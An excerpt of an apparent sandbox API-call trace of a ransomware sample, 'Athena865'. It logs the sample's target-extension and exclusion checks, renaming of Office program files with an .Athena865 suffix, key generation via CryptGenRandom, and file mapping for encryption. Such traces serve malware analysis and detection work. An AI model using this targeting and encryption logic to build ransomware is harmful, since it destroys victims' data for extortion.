[0067.306] lstrlenW (lpString="itdb") returned 4 [0067.306] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0067.306] lstrlenW (lpString="itw") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0067.306] lstrlenW (lpString="jet") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0067.306] lstrlenW (lpString="jtx") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0067.306] lstrlenW (lpString="kdb") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0067.306] lstrlenW (lpString="kexi") returned 4 [0067.306] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0067.306] lstrlenW (lpString="kexic") returned 5 [0067.306] lstrcmpiW (lpString1="C.DLL", lpString2="kexic") returned -1 [0067.306] lstrlenW (lpString="kexis") returned 5 [0067.306] lstrcmpiW (lpString1="C.DLL", lpString2="kexis") returned -1 [0067.306] lstrlenW (lpString="lgc") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0067.306] lstrlenW (lpString="lwx") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0067.306] lstrlenW (lpString="maf") returned 3 [0067.306] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0067.307] lstrlenW (lpString="maq") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0067.307] lstrlenW (lpString="mar") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0067.307] lstrlenW (lpString="marshal") returned 7 [0067.307] lstrlenW (lpString="mas") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0067.307] lstrlenW (lpString="mav") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0067.307] lstrlenW (lpString="maw") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0067.307] lstrlenW (lpString="mdbhtml") returned 7 [0067.307] lstrlenW (lpString="mdn") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0067.307] lstrlenW (lpString="mdt") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0067.307] lstrlenW (lpString="mfd") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0067.307] lstrlenW (lpString="mpd") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0067.307] lstrlenW (lpString="mrg") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0067.307] lstrlenW (lpString="mud") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0067.307] lstrlenW (lpString="mwb") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0067.307] lstrlenW (lpString="myd") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0067.307] lstrlenW (lpString="ndf") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0067.307] lstrlenW (lpString="nnt") returned 3 [0067.307] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0067.307] lstrlenW (lpString="nrmlib") returned 6 [0067.308] lstrcmpiW (lpString1="EC.DLL", lpString2="nrmlib") returned -1 [0067.308] lstrlenW (lpString="ns2") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0067.308] lstrlenW (lpString="ns3") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0067.308] lstrlenW (lpString="ns4") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0067.308] lstrlenW (lpString="nsf") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0067.308] lstrlenW (lpString="nv") returned 2 [0067.308] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0067.308] lstrlenW (lpString="nv2") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0067.308] lstrlenW (lpString="nwdb") returned 4 [0067.308] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0067.308] lstrlenW (lpString="nyf") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0067.308] lstrlenW (lpString="odb") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0067.308] lstrlenW (lpString="odb") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0067.308] lstrlenW (lpString="oqy") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0067.308] lstrlenW (lpString="ora") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0067.308] lstrlenW (lpString="orx") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0067.308] lstrlenW (lpString="owc") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0067.308] lstrlenW (lpString="p96") returned 3 [0067.308] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0067.308] lstrlenW (lpString="p97") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0067.309] lstrlenW (lpString="pan") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0067.309] lstrlenW (lpString="pdb") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0067.309] lstrlenW (lpString="pdm") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0067.309] lstrlenW (lpString="pnz") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0067.309] lstrlenW (lpString="qry") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0067.309] lstrlenW (lpString="qvd") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0067.309] lstrlenW (lpString="rbf") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0067.309] lstrlenW (lpString="rctd") returned 4 [0067.309] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0067.309] lstrlenW (lpString="rod") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0067.309] lstrlenW (lpString="rodx") returned 4 [0067.309] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0067.309] lstrlenW (lpString="rpd") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0067.309] lstrlenW (lpString="rsd") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0067.309] lstrlenW (lpString="sas7bdat") returned 8 [0067.309] lstrlenW (lpString="sbf") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0067.309] lstrlenW (lpString="scx") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0067.309] lstrlenW (lpString="sdb") returned 3 [0067.309] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0067.310] lstrlenW (lpString="sdc") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0067.310] lstrlenW (lpString="sdf") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0067.310] lstrlenW (lpString="sis") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0067.310] lstrlenW (lpString="spq") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0067.310] lstrlenW (lpString="te") returned 2 [0067.310] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0067.310] lstrlenW (lpString="teacher") returned 7 [0067.310] lstrlenW (lpString="tmd") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0067.310] lstrlenW (lpString="tps") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0067.310] lstrlenW (lpString="trc") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0067.310] lstrlenW (lpString="trc") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0067.310] lstrlenW (lpString="trm") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0067.310] lstrlenW (lpString="udb") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0067.310] lstrlenW (lpString="udl") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0067.310] lstrlenW (lpString="usr") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0067.310] lstrlenW (lpString="v12") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0067.310] lstrlenW (lpString="vis") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0067.310] lstrlenW (lpString="vpd") returned 3 [0067.310] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0067.311] lstrlenW (lpString="vvv") returned 3 [0067.311] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0067.311] lstrlenW (lpString="wdb") returned 3 [0067.311] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0067.311] lstrlenW (lpString="wmdb") returned 4 [0067.311] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0067.311] lstrlenW (lpString="wrk") returned 3 [0067.311] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0067.311] lstrlenW (lpString="xdb") returned 3 [0067.311] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0067.311] lstrlenW (lpString="xld") returned 3 [0067.311] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0067.311] lstrlenW (lpString="xmlff") returned 5 [0067.311] lstrcmpiW (lpString1="C.DLL", lpString2="xmlff") returned -1 [0067.311] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.Athena865") returned 60 [0067.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.athena865"), dwFlags=0x1) returned 1 [0067.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AEC.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\aec.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.313] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1571704) returned 1 [0067.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.313] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.313] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.314] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.314] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.315] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17fe80, lpName=0x0) returned 0x154 [0067.316] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17fe80) returned 0x2d50000 [0067.400] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.401] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.401] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0067.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0067.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0067.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0067.402] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0067.402] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0067.416] CloseHandle (hObject=0x154) returned 1 [0067.416] CloseHandle (hObject=0x17c) returned 1 [0067.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0067.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0067.416] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0067.422] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ac1100, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2441900, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x23ac1100, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xc2788, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AECUTILS.DLL", cAlternateFileName="")) returned 1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".") returned 1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="..") returned 1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="windows") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="bootmgr") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="temp") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="pagefile.sys") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="boot") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="ids.txt") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="ntuser.dat") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="perflogs") returned -1 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2="MSBuild") returned -1 [0067.423] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0067.423] lstrcpyW (in: lpString1=0x241e89e, lpString2="AECUTILS.DLL" | out: lpString1="AECUTILS.DLL") returned="AECUTILS.DLL" [0067.423] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0067.423] lstrlenW (lpString="Athena865") returned 9 [0067.423] lstrcmpiW (lpString1="UTILS.DLL", lpString2="Athena865") returned 1 [0067.423] lstrlenW (lpString=".dll") returned 4 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".dll") returned 1 [0067.423] lstrlenW (lpString=".lnk") returned 4 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".lnk") returned 1 [0067.423] lstrlenW (lpString=".ini") returned 4 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".ini") returned 1 [0067.423] lstrlenW (lpString=".sys") returned 4 [0067.423] lstrcmpiW (lpString1="AECUTILS.DLL", lpString2=".sys") returned 1 [0067.423] lstrlenW (lpString="AECUTILS.DLL") returned 12 [0067.423] lstrlenW (lpString="bak") returned 3 [0067.423] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0067.423] lstrlenW (lpString="ba_") returned 3 [0067.423] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0067.423] lstrlenW (lpString="dbb") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0067.424] lstrlenW (lpString="vmdk") returned 4 [0067.424] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0067.424] lstrlenW (lpString="rar") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0067.424] lstrlenW (lpString="zip") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0067.424] lstrlenW (lpString="tgz") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0067.424] lstrlenW (lpString="vbox") returned 4 [0067.424] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0067.424] lstrlenW (lpString="vdi") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0067.424] lstrlenW (lpString="vhd") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0067.424] lstrlenW (lpString="vhdx") returned 4 [0067.424] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0067.424] lstrlenW (lpString="avhd") returned 4 [0067.424] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0067.424] lstrlenW (lpString="db") returned 2 [0067.424] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0067.424] lstrlenW (lpString="db2") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0067.424] lstrlenW (lpString="db3") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0067.424] lstrlenW (lpString="dbf") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0067.424] lstrlenW (lpString="mdf") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0067.424] lstrlenW (lpString="mdb") returned 3 [0067.424] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0067.424] lstrlenW (lpString="sql") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0067.425] lstrlenW (lpString="sqlite") returned 6 [0067.425] lstrcmpiW (lpString1="LS.DLL", lpString2="sqlite") returned -1 [0067.425] lstrlenW (lpString="sqlite3") returned 7 [0067.425] lstrcmpiW (lpString1="ILS.DLL", lpString2="sqlite3") returned -1 [0067.425] lstrlenW (lpString="sqlitedb") returned 8 [0067.425] lstrcmpiW (lpString1="TILS.DLL", lpString2="sqlitedb") returned 1 [0067.425] lstrlenW (lpString="xml") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0067.425] lstrlenW (lpString="$er") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0067.425] lstrlenW (lpString="4dd") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0067.425] lstrlenW (lpString="4dl") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0067.425] lstrlenW (lpString="^^^") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0067.425] lstrlenW (lpString="abs") returned 3 [0067.425] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0067.429] lstrlenW (lpString="abx") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0067.429] lstrlenW (lpString="accdb") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accdb") returned 1 [0067.429] lstrlenW (lpString="accdc") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accdc") returned 1 [0067.429] lstrlenW (lpString="accde") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accde") returned 1 [0067.429] lstrlenW (lpString="accdr") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accdr") returned 1 [0067.429] lstrlenW (lpString="accdt") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accdt") returned 1 [0067.429] lstrlenW (lpString="accdw") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accdw") returned 1 [0067.429] lstrlenW (lpString="accft") returned 5 [0067.429] lstrcmpiW (lpString1="S.DLL", lpString2="accft") returned 1 [0067.429] lstrlenW (lpString="adb") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0067.429] lstrlenW (lpString="adb") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0067.429] lstrlenW (lpString="ade") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0067.429] lstrlenW (lpString="adf") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0067.429] lstrlenW (lpString="adn") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0067.429] lstrlenW (lpString="adp") returned 3 [0067.429] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0067.429] lstrlenW (lpString="alf") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0067.430] lstrlenW (lpString="ask") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0067.430] lstrlenW (lpString="btr") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0067.430] lstrlenW (lpString="cat") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0067.430] lstrlenW (lpString="cdb") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0067.430] lstrlenW (lpString="ckp") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0067.430] lstrlenW (lpString="cma") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0067.430] lstrlenW (lpString="cpd") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0067.430] lstrlenW (lpString="dacpac") returned 6 [0067.430] lstrcmpiW (lpString1="LS.DLL", lpString2="dacpac") returned 1 [0067.430] lstrlenW (lpString="dad") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0067.430] lstrlenW (lpString="dadiagrams") returned 10 [0067.430] lstrcmpiW (lpString1="CUTILS.DLL", lpString2="dadiagrams") returned -1 [0067.430] lstrlenW (lpString="daschema") returned 8 [0067.430] lstrcmpiW (lpString1="TILS.DLL", lpString2="daschema") returned 1 [0067.430] lstrlenW (lpString="db-journal") returned 10 [0067.430] lstrcmpiW (lpString1="CUTILS.DLL", lpString2="db-journal") returned -1 [0067.430] lstrlenW (lpString="db-shm") returned 6 [0067.430] lstrcmpiW (lpString1="LS.DLL", lpString2="db-shm") returned 1 [0067.430] lstrlenW (lpString="db-wal") returned 6 [0067.430] lstrcmpiW (lpString1="LS.DLL", lpString2="db-wal") returned 1 [0067.430] lstrlenW (lpString="dbc") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0067.430] lstrlenW (lpString="dbs") returned 3 [0067.430] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0067.431] lstrlenW (lpString="dbt") returned 3 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0067.431] lstrlenW (lpString="dbv") returned 3 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0067.431] lstrlenW (lpString="dbx") returned 3 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0067.431] lstrlenW (lpString="dcb") returned 3 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0067.431] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0067.431] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0067.431] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0067.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.Athena865") returned 65 [0067.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.athena865"), dwFlags=0x1) returned 1 [0067.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AECUTILS.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\aecutils.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0067.443] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=796552) returned 1 [0067.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0067.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0067.443] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0067.443] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0067.444] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0067.444] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.444] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2a90, lpName=0x0) returned 0x154 [0067.446] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2a90) returned 0x2d50000 [0067.496] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0067.497] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0067.497] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0067.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0067.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0067.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0067.497] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0067.497] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) 